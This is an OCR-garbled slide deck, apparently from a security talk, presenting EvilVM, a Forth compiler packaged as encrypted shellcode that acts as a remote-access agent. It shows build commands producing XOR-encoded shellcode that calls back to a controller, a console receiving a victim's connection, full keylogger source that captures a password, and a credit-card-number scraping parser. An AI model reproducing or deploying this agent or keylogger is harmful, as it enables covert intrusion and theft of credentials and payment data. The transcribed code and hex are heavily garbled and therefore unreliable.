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IntcoducHon:EIoshlstone

20 years programmenr
19 years infosec

19 years married

14 years cancer
SUrvivor

Parent of 3 kids
e BJJ blue belt
Sl T CBA for life
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Intnoduction:FoshiStone

T

Currently a researcher
working for the RED
tTeam at FusionzZ, part of
Accenture Security.

HOTE: this presentation
covers EvilUM, which 15 a
personal project not
connected to my work at
Accenture. Opinions
expressed are mine, not

_-%Hy emplover’s, etc.



EemiselwhulEvillUH?

Most programming languages
and development platforms are
not designed for malicious
software use cases,

™




REERthelcentrnaljuselcase

Fr‘ugrannjng languages enable
you to write programs to run
on your computer.



REERthelcentrnaljuselcase

Fr‘ugranning languages enable
you to write programs to run
on your computer.



REERthelcentrnaljuselcase

Pr‘ugraﬂning languages enable
you to write programs to run
on your computer.

Hackers write programs to run
on someone else’'s computer.



REERthelcentrnaljuselcase

Your Computer Others’ computers

Use resources Avold notice

Create files Leave no evidence

Install dependencies Leave forest undisturbed
Fermission granted Fight defensive suites
Use 05 interfaces Subversive channels
Eestart whenever HA ~ resilient

Static ./ unchanging Live updates during use

Defined use case Use case changes often



Design:fsmall

Most friendly languages make large
binaries, or require large runtimes
or dependencies.

Terminal (YO) =] Terminal (XY -]

:) kusrae codes go build agent.go :) kusrae codes ghc agent.hs

.} kusrae codes 1IB™® qee Linking agent ...
-rwxr-xr-x 1 josill josh 2.9M May 11 B18:33 agent* : ) kusrae codes oE
) kusrae codes -rwxr-xr-x 1 jo josh 1.7M May 1M 18:4@ agent*

:) kusrae codes

Terminal o0

odes 1dd agent | awk '/=/ {print $3}"' | xargs du -shD
/1lib/x86 64-1linux-gnu/libgmp.so.18
b/x86_64-1inux-gnu/libm.so.6
h/xB6_64-1inux-gnu/librt.so.1

h/x86 64-1inux-gnu/flibdl.so.2
/lib/x86_64-linux-gnu/libffi.so0.6
b/x86_64-1inux-gnu/libpthread.so0.8
b/x86_64-1inux-gnu/libc.s0.6

odes [




Design:kflexiblefexecution

Terminal o® @1

kusrae evilvm ./build.rb -n -i 10.8.3.2 -p 1919 -S -0 - -f string | head

Assembled 68082 bytes of shellcode

Writing output of 25985 bytes

char *code =
"\x31\xdb\xb3\x28\x65\xc6\x03\x00\xb3\x60\x65\x48\x8b\x1b\x48\x8b"
"%\x5b%\x18\x48\x8b\x5b\x20\xeb\x0a\x31\xdb\xb3\x28\x65\x48\x89\x08b"
"\xeb\xe6\x80\x7b\x38\x40\x48\x8b\x43\x20\x48\x8b\x1b\x75\xf3\xc8"
AVEEAVEPAVEEAVEEAVE LIV CYAV G EAV LAV E VAP CEAVELAVEEAVETAVELAVETAVEN
"\ x88\x00\x00\x00\x48\x01\xc3\x8b\x73\x20\x48\x01\xc6\x49\x89\x77"
"\x10\x8b\x73\x1c\x48\x01\xcH\x49\x89\x77\x18\x8b\x73\x24\x48\x01"
"\xcB\x49\xB89\x77\x208\x31\xd2\x48\xff\xca\x48\xbb\x47\x65\x74\x50"
"NT2A\X6T\ 63\ x41\x49\x8b\ X7 7\ x 10\ xFF\xc2\x8b\xB4\x96\x49\x83\x47"
"\x@8\x48\ 39\ x18\x75\xF2\x49\x8b\x77\x28\x31\xCcO\x66\x8b\x84\x56"
kusrae evilvm |j

=) -




Design:emoitelli

/"‘L[:P\
Malicious
Something

ExoticC



Design:jwidelcapabiliities

Malware
LogicC
Abstractions

High Ceiling

D s

Low Floor

Machine Code



Design:ddynamicicodeloading

O i

K.ey
Logger

EAIY]
FCraper

DLL
Injeclior

L/




Design:lvitualimachine

First thought,
build a small
injectable UM,
complile and load
code remotely.

But concept
morphed as 1
realized I could put
the whole language
in the agent.

Didn't want to name
it Evil, thoough, so
EvilUHM 1t 15,
anywauy.

Computer by Denis Shumaylowy from the Houn Project



EuylURLE nito

Server console for
control ~
interaction.

Multiple
cuncqrrent
SESS1ONS

Dynamic
code loading

EREFPFL .~ direct
Compiler
interaction

Terminal o®e

:( 130 kusrae evilvm server/server.rb
Root dir is /home/josh/homebrew/evilvm

fi2:8:20000000:51010:2 0084000812002 200014 BH 2.3 k)

Welcome to IPPWN #H#
you are here early #H#
Let's fault some segs together ##

Binding server on ©.8.8.8:1919
Awaiting inbound connection...

NOTE: : File /home/josh/homebrew/evilvm/samples/payload-net.fth loaded

Introducing channel #1
1 [wisteria] -> 16780718 7214485 7584 7584 Evil#Forth

- BEGIN OUTPUT ----
IDENT:Administrator@DESKTOP-MOVLOCK.DESKTOP-MOVL@CK :bdaf9eb9-256a-43c8-ad4@-bd96a329c73e
————— END OUTPUT -----
1 [wisteria] ->» hostname
1 [wisteria] ->
- BEGIN OUTPUT ----
DESKTOP-MOVL@CK
————— END QUTPUT -----

1 [wisteria] -> |




EvylURLYinito

Hative code compller for stack—based language:

sub_0:
sub riz, ox8
mov qword [r12], rdi
mov edi, Oxl
4 and rdi, quord [rl12]
dd 12, 0x8
TE"I'III'IEI a E' e :nv :ax, r;'l‘
. . . mov rdi, qword [r12]
1 [wisteria] -»> : test 1 and if ." odd" else ." even" then ; a0d  riz, ox8
1 [wisteria] -» see test je  oxsh

1 [wisteria] -> F“““‘J

8935b3 49 83 ec 88 49 89 3c 24 bf 81 80 @6 8@ 49 23 3c T T
8935c3 24 49 83 c4 @8 48 89 f8 49 8b 3c 24 49 83 c4 @8 ELE L T e
8935d3 48 21 c@ ef 84 32 @@ 00 9@ 49 83 ec @8 49 B89 3c I ox11 I oxad
8935e3 24 48 bf f3 35 89 0@ 00 00 60 60 9 94 00 PO 00 | |
8935f3 6f 64 64 @0 49 83 ec @8 49 89 3c 24 bf @3 @@ ee
893683 @@ e8 bb d2 fe ff e9 2e @@ 0@ @0 49 83 ec @08 49 A s R e
893613 89 3c 24 48 bf 25 36 89 00 00 G0 0O @@ e9 B5 00 call | STl A
893623 @0 B0 65 76 65 6e @@ 49 83 ec @8 49 89 3¢ 24 bf
893633 ©4 90 @0 @0 e8 88 d2 fe ff 4d 3b a7 3@ ee @@ @e
893643 7Te @1 cc c3 lzlr:?;:;?‘*

cmp r12, qword [rl5+0x

jle 0x93

1 [wisteria] -> Jj —

int3
{ Does not return }

retn {__return_addr}




EuylURLE nito

Same environment, any I0 layer:

TCP Agent connects over socket
HTTF Agent uses wininet for Comms
Streams Use STDIHASTDOUT streams
Memorwy Eead I0 from memory

Easy to add more. I0 isc a simple stream of bytes
in and out; all code is protocol agnostic.

Tunnel Up by Alone forever from the Houn Project
Fombie by Lluisa Iborra from the Houn Project
hacker by Kamaluddin from tThe Houn Project



EuylURLE nito

EvilUM 15 small, about 5—10KE, depending on I0
tTransport, trim level, and encapsulation
methods:

Terminal (X1 31

: ) kusrae evilvm ./build.rb -n -i 10.©.3.2 -p 1919 -5 -0 /dev/null
A55emhled 6082 bytes of EhEllEDdE

1

Writing to file dear i

Writing output ofj 6882 bytes

) kusrae evilwvm



EvylURLYinito

EvilUM 15 a position independent shellcode,
which can be packaged or encoded however you
like. It requires no dependencies other than

kernel3ds.dll.

Terminal

. ) kusrae evilvm 1ls -1h evilvm*
-rw-r--r-- 1 josh josh 7.9K May 11
-rw-r--r-- 1 josh josh 37K May 11
-rw-r--r-- 1 josh josh 7.8K May 11
-rw-r--r-- 1 josh josh 37K May 11
-rw-r--r-- 1 josh josh 5.9K May 11
:) kusrae evilvm |

20:
28 :
28 :
20:
28:

38
39
37
38
37

evilvm.

evilvm
evilvm
evilvm
evilvm

00

bed

.CS

.EeXe

.h
.shellcode



BiSIEIcompilenslanelbig

S0 how do we fit our
Programming
language 1nto a
small pavyload, that
runs fileless, and
deploys flexibly™?




BiSIEIcompilenslanelbig

Compiler Codebases

2,280,808

2,800,888

1,566,888

1,888,808

288,808

Lines of code
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http: A venge.net - gravdonstalks-CompilerTalk—2819.pdf



BISIClcompilensfanelbig

assembled code.

A major advantage ot a TIL is the memory required to implement the
language. The core language can be contained in less than 4 K bytes, and an
assembler, editor, and virtual memory system requires an additional 2 or 3 K

bytes. Compare this to the 24 to 32 K bytes required to host a compiler on a
microcomputer or minicomputer. Once the core language is available, an ap-

[ 1 B A Y & T al=lm [ % [y T FRL R o I e T

Lightweight, memory constrained environments were
de rigueur back 1n the day. The RCE use case bears
remarkable similarity to the early davs of hobbyist
computing.

I found inspiration in Forth, a programming language
invented by Chuck Moore 1n 1950, and based on a
unique code execution and complilation paradigm.



BISIEIcompilens

Typical compller:

Lexing

Parsing
Transformation
Code generation
Linking



BISIEIcompilens

Typical compller:

Lexing

Parsing
Transformation
Code generation
Linking



RISl lcompilens

Typical compller:

Lexing

Parsing
Transformation
Code generation
Linking




BISIEIcompilens

Typical compller:

Le:-:ir_ig
Parsing

Transformation
Code generation

Linking <9



BISIEIcompilens

Typical compller:

Lexing

Parsing
Transformation
Code generation
Linking

sub rl2,byte +0x8
mov [rl2],rdi

mov rdi,rax

call Oxeb4

sub rl2,byte +0x8
mov [rl2],rdi



BISIEIcompilens

Typical compller:

Lexing
Parsing )
Transformation

Code generation \
Linking



RISIEIstaclk]basedfl'anguage,

Forth compller: Single—pass
lexl_I|:1gt

- dMODUnTsS T
e,
- 12105 On
Transformation whitespace

Code generation
Linking



RISIEIstaclk]basedfl'anguage,

Forth compiller: Traditional
Forth

compllers have

Easy Lexing no syntax

Parsing ) tree or
Transformation intermediate
Code gener-ation form.

Linking



RISIEIstaclk]basedfl'anguage,

Forth compiler: Mo intermediate
form HieanS in—

= place
Easy Lexing tTransformation

B} of the program.
Transformation

Code generation
Linking



RISIENs tack]jbasedil'anguage

Forth compiler: Code generation
occurs linearly,

normally with
only two cases:
constants and
function calls.

Easy Lexing

Code generation
Linking



RISIEIstaclk]basedfl'anguage,

Forth compiller:

Easy Lexing

Easy Code gen.
Linking

Code 15 compilled
at run—time, S0
tThere 15 usually
no compatible
analog for
linked bodies of

aobject code.



RISIEIstaclk]basedfl'anguage,

Forth compiller:

Easy Lexing

Easy Code gen.

Forth compililers
can be made
UERY SHMALL, and
level of
sophistication
15 up to the
Programmenr.



BEI-Mfogthlecosustem

Forth has two stacks, the data stack for
Temporary storage, and The return stack
for nested execution. Code is usually
reverseg polish notation, putting
arguments before the functTion call.

(2 + 33 ¥ 5 2 3 + 5 =
iflx and 1) ... * 1 and if ...
quadf{a, b, C) a b c gquad

Formally, functions do not technically
Take arguments, but all have The Ssame
Type Ssignature:

stack funistack)



BEI-Mfogthlecosustem

The
Dictionary

Maps names to
addresses 1n
memory. Almost all
variables,
functions, etc., are
definitions 1n the
dictionanry.



BEI-Mfogthlecosustem

The ‘- compiler

Create a new dactTionary entry
while True:
read a word from input
if word in dictionary:
if word is normal -

COoOmMmpi1le a function Ccall
else:

exgeCcute 1t
else:
if word is a number:

COoOmMpPi1le a Cconstant
else:

break



EISIi:Mineacicompilation

The initial dictionary contains only what
i needed by the compiler. The rest is
added in the core API.

Terminal a0

kusrae play wine ../streams.exe
2561474 4264182 45 45 Evil#Forth

ok

words ok

tail compile : header ; !boot reset s»n parse inline imm
ediate ms d, w, ¢, , walk banner dump . bye words execut
e »Xt lookup compare or and / /mod * - + globals psp get
proc kernel32 »name cells cell d! c! ! @ rot over 2drop
2dup r@ r> >r swap nip drop dup type key emit !echo +ech
0 -echo initio engine word space cr memkey close undertl
ow err prompt



BiSIFlineadcompilation

if ... Else ... Then are just Ccompiler
extensions that add condaitTionals To tThe
language:

emacs25@kusrae Q—EI é

File Edit Options Buffers Tools Help

57 |

58 : if [0?] [Bbranch] ; imm

50 : else »>r [branch] r> -jump ; imm
66 : then -Jjump ; imm

61

core.fth ' 8% L57 Git-master




BiSIFlineadcompilation

S0 are begin ... while ... repeat,
STruCctures, eTcC.

It“s a PROGEAMMABLE COMPILER.

emacs25@kusrae 9 ® e

File Edit Options Buffers Tools Help

285

266 : begin © here ; imm

2087 : while nip [@?] [Bbranch] swap ; imm

288 : until nip [@?] [Nbranch] swap ; imm

269 : repeat 233 ¢, here - 4 - d, dup if -jump else drop then ; imm
218 |}

28% L21@ Git-master (Forth




Demolconfigunelfdconnect:

Terminal o=

: ) kusrae evilvm server/server.rb
Root dir is /home/josh/homebrew/evilvm

Terminal Hi

) kusrae evilvm ./build.rb -n -i 10.8.3.2 -p 191 §§
RLE encoding NULL bytes in shellcode .
Read 6802 bytes of original shellcode B R
There were 48 single-byte sequences that will grc RE HE R,
Compressed to 5534 bytes #ﬁn ﬁi #ﬁﬁ
Saved 468 bytes via compression FTTTTFTTTTTTTTTTTITIT: e
Assembling... HH Hif Hi
Obtained 5615 bytes of compressed shellcode o HE_ ##
IMPORTANT be sure to allocate at least 5712 bytes HHHHHHERHEHE
Encrypting with rolling XOR T vou are here earl: ﬁﬁ
key 2544ce7f5f3875aa Let's fault some segs togethe #H
Started with 5615 bytes of input
Aasembling. . Bin:fli(]g server on e.e.e.ga:1919
Obtained 5435 bytes of encoded shellcode Awaiting inbound connection...
Assembled 5652 bytes of shellcode NOTE: : File /home/josh/homebrew/evilvm/samples/payload-net.fth loaded
Writing to file 'net.shellcode’
Writing output of 5652 bytes Introducing channel #1

1 [forest-green] -> 497265 2594946945512 3620 3620 Evil#Forth

kusrae ewvilwvm l

IDENT :HAPLESS$@HAPLESS . WORKGROUP : bdaf9eb9-256a-43c8-ad4@-bd96a329c73e

1 [fo;'é-st;gr'eén] N |



Demo:llkevlogger,

testhkeys
236 B do

1 Testkey
100p

Im

keylog
bBegin
key? until
tTestkeys
8 ms
repeat

Im



Demo:llkevlogger,

- dodown
wasdown? if
drop
else
dup keystate set
report
Then

Im

Testhkey
dup isdown? if
dodown
else
keystate unset
Then

In



Demollkeylogger,

Tt Terminal
z : : 1 [jazzberry-jam] -»> ~Kload keylogZ.fth
File Edit Opt Buffers Tools Hel : A z g
;?paélﬂ)%gg:32iﬂ;s o0 2 NOTE: [jazzberry-jam] : File /home/josh/homebrew/evilvm/samples/keylog2.fth loaded
2 value user32 1 [jazzberry-jam] -> keylog
3 user32 1 dllfun GetKeyState GetKeyState 1 [jazzberry-jam] ->
4 user32 2 dllfun MapVirtualKey MapVirtualKeyA -=-=-=- BEGIN OUTPUT ----
5 user32 5 dllfun ToAscii ToAscii notepadusername
6 Passwordl
7 create keystate 256 allot does> swap + ;
g } s i sapock & This is some textiEEGMcontent that I'm typing in amffn email.
- - - ]
18 : unset @ swap c! ;
11 : isdown? GetKeyState $8000 and ;
12 : wasdown? dup keystate c@ ;
13
14 : decode dup @ MapVirtualKey @ keystate here @ ToAscii ;
15
168: .nl? dup 13 = if cr then ;
17 : .control +rev [char] * emit 64 + emit -rev ;
18 : print? dup 32 < if .control else emit then ;
19, : report decode if here c@ .nl? print? then ;
28
21 : isdown wasdown? if drop else dup keystate set report then ;
22 : testkey dup isdown? if isdown else keystate unset then ;
23 : testkeys 256 B do i testkey loop ;
24
25 f keylog consume begin key? until testkeys 5 ms repeat ;
26 : keylog .pre keylog .post ;

U:--- keylog2.fth All L25 (Forth
Beginning of buffer




Demo:lexploration

Terminal a®0

kusrae evilvm pnasm "mov rdi, [gs:rdi]"
mov rdi, [gs:rdi]
4 /tmp/pnasm.out
peeeeeee 65488B3F mov rdi,[gs:rdi]
kusrae evilvm [

Terminal aSE0
jazzberry-jam] -> : @gsx 1i,[ 65488b3f ] ;
zzberry-jam] -> { cr 8 8 do i 4 .r i cells fgsx hex . dec cr loop }!

e
6leeae
68 Cce8e
%)

1268

e
288008
6B8Tced

ST R WK RO

[
|



emacs25@kusrae Q @ °

File Edit Options Buffers Tools Help

[ e T
21\ Match credit card numbers, maybe with matching separators
] R L et
23
24 variable sepchar
25
26f: EOS dup @ = ;
27 : digit walk $30 $39 within ;
28 : digits @ do digit not if unloop @ return then loop -1 ;
29 : <»digit digit not ;
3e : sentinel walk [char] ; = ;
31f: sepl walk sepchar ! -1 ;
32 : sepN walk sepchar @ = ;
EE]
34 : termf
35  parser
36 EOS | <>digit
37 end-parser
38 ;
EL]
40 : ccH-sep
41 parser
42 4 digits & sepl & 4 digits & sepN & 4 digits & sepN & 4 digits
43 end-parser
a4
as
46 : cc#-lang
47 parser
48 cc#-sep & term
49 16 digits & term
5@ sentinel & digit & digit & me
51 end-parser
5283
53
54 : cci-lang
55  parser
56 ascii cc#-lang | unicode ccti-lang
57  end-parser
58 ascii
2

:--- parsers.fth<test> 14% 134 Git:master (Forth

Terminal
1 [jazzberry-jam] -» ~Kloadf test/parsers.fth

YY)

NOTE: [jazzberry-jam] : File /home/josh/homebrew/evilvm/samples/parsers.fth loaded

NOTE: [Jjazzberry-jam] : File test/parsers.fth loaded
1 [jazzberry-jam] ->»

parsers.fth - demonstration of simple parsing library.

PARSER RESULT

PAN?: SUCCESS
PAN?: failure
PAN?: failure
PAN?: SUCCESS
PAN?: SUCCESS

TEXT
4111-1111-1111-1111
4111-1111-1111-11111
4111-1111 1111-1111
4111111111111111=

=
[T

PAN?: SUCCESS 4111111313113313113111
PAN?: failure 41111111111111111
PAN?: failure 411111111A111111
PAN?: failure 411111111111111
MATH?: SUCCESS a

MATH?: SUCCESS a+b

MATH?: failure a+b++

MATH?: SUCCESS a+b+c+d+e

MATH?: failure Zz

MATH?: failure (a+(c-)b

MATH?: SUCCESS (a+b)

MATH?: SUCCESS a*(b+c)

MATH?: SUCCESS ((a+b)*(c+d))

MATH?: SUCCESS
MATH?: SUCCESS
MATH?: failure
MATH?: failure
MATH?: failure

(a+b)*(c+d)*(e+f)*(g+h)
((((a+b)+(c+d))+(e+f)*(g+h)))
((((a+b)+(c+d))+(e+f)*(g+h))
((((a+b)+(c+d)+((e+f)*(g+h)))
((((a+b)+(c+d))z(e+f)*(g+h)))

(D(DW(D:&&&&&&&&&&&&&&&&&&&&&

MATH?: SUCCESS 31  ((C((CC(((b))))))II)
MATH?: failure EEEE]
MATH?: failure (a+b)zZzzz

1 [jazzberry-jam] -> |

;011234567890123445=724724160000000000030308XXXX046408099010="**



Stil1l1 very ALPHA,
with unstable API,
and lots of changes.

but, for the bold of B
heart: 3

EvilUM is open
5 D u P E E ] u n d E P t h E This site hosts documentation for EvilVM and its constituent tools. The project is

built around a native code Forth compiler that is deployed as a position

- . _ - . - N y _ .
H I 1 E E n 5 E a n d E a n independent shellcode. It provides a platform for remote code execution, useful in
I 1 information security contexts.
- & nary use c r 1 is to deploy the agent on a remote system, and
E D u n a - inte it. e's outer interpreter is ted as ve

shell or REPL, and the system provides the capability to deliver code to the

hTTp- A 7evilvm.ninjgars

https: A7gi1TtThub.Ccoms jephthar evi lvms



Summanulpnoliectsitatus

On the 1list for enhancement:

Ch

More rescilience (mavybe Erlang OTP-
Inspired model for HA - self—healingl

Higher—layer, user—friendly scripting
language, built on tTop of parsing
library

More transport lavers {ICHP, etc.)

LOTS of demonstration videos and
Tours through the suyustem

More documentation



EORIquestions?

You can find me online:

yakovdkogmall.com
e Joshatone
http:/~thestone.zone.”

http:/Jjoshstone.us.”

Special thanks to the Color Graphics
Array for making this presentation
possible.



